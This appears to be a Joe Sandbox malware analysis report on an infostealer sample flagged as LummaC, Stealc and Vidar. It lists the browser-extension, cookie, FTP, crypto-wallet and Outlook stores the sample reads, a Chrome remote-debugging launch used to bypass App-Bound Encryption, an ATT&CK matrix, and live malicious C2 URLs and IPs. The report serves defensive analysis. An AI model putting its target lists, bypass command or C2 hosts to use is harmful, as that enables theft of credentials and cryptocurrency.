Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN

Source: Yara match	File source: 00000029.00000003.3109799946.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3163046947.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3115772673.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3195753572.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2923519142.000000000125F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3233167251.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3123527529.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3164308247.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3109020607.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3166897859.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3196992395.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3111738245.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5a20612cd1.exe PID: 5868, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 6693ff7180.exe PID: 1364, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 5a20612cd1.exe PID: 5868, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2870102600.0000000001C7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1715851813.0000000005810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2776871674.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2627978298.0000000005430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2676726532.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2864346736.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2213992001.0000000000E61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0882197cda.exe PID: 2324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	41 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	258 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	891 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	391 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	391 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	34%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	26%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	34%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	26%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	42%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://atten-supporse.biz/apitg	100%	Avira URL Cloud	malware
https://account.bellmedia.caOtherBookmarksFolderTitle	0%	Avira URL Cloud	safe
http://185.215.113.206Qvx	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php/D	100%	Avira URL Cloud	malware
http://80.82.65.70/dll/download	0%	Avira URL Cloud	safe
https://gpuweb.github.io/gpuweb/eudict	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apitat	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpr4	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.142	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
atten-supporse.biz	104.21.64.1	true	false	high
play.google.com	172.217.19.238	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
www.google.com	142.250.181.68	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs
